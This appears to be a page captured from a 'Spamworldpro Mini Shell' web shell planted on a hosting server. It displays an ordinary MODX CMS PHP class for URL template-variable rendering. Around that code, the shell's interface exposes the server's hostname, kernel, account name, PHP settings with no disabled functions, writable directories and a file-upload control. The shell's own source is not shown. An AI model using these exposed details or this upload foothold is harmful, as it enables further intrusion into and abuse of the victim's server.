Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/public_html/core/model/modx/processors/element/tv/renders/mgr/input/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/palandch/public_html/core/model/modx/processors/element/tv/renders/mgr/input/url.class.php
<?php
/**
 * @package modx
 * @subpackage processors.element.tv.renders.mgr.input
 */
class modTemplateVarInputRenderUrl extends modTemplateVarInputRender {
    public function getTemplate() {
        return 'element/tv/renders/input/url.tpl';
    }
    public function process($value,array $params = array()) {
        $urls= array(''=>'--', 'http://'=>'http://', 'https://'=>'https://', 'ftp://'=>'ftp://', 'mailto:'=>'mailto:');
        $this->setPlaceholder('urls',$urls);
        foreach ($urls as $k => $v) {
            $test = $this->modx->getOption('use_multibyte',null,false) ? mb_strpos($value,$v,null,$this->modx->getOption('modx_charset',null,'UTF-8')) : strpos($value,$v);
            if ($test !== false) {
                $this->tv->set('processedValue',str_replace($v,'',$value));
                $this->tv->set('value',str_replace($v,'',$value));
                $this->setPlaceholder('selected',$v);
            }
        }
    }
}
return 'modTemplateVarInputRenderUrl';

Spamworldpro Mini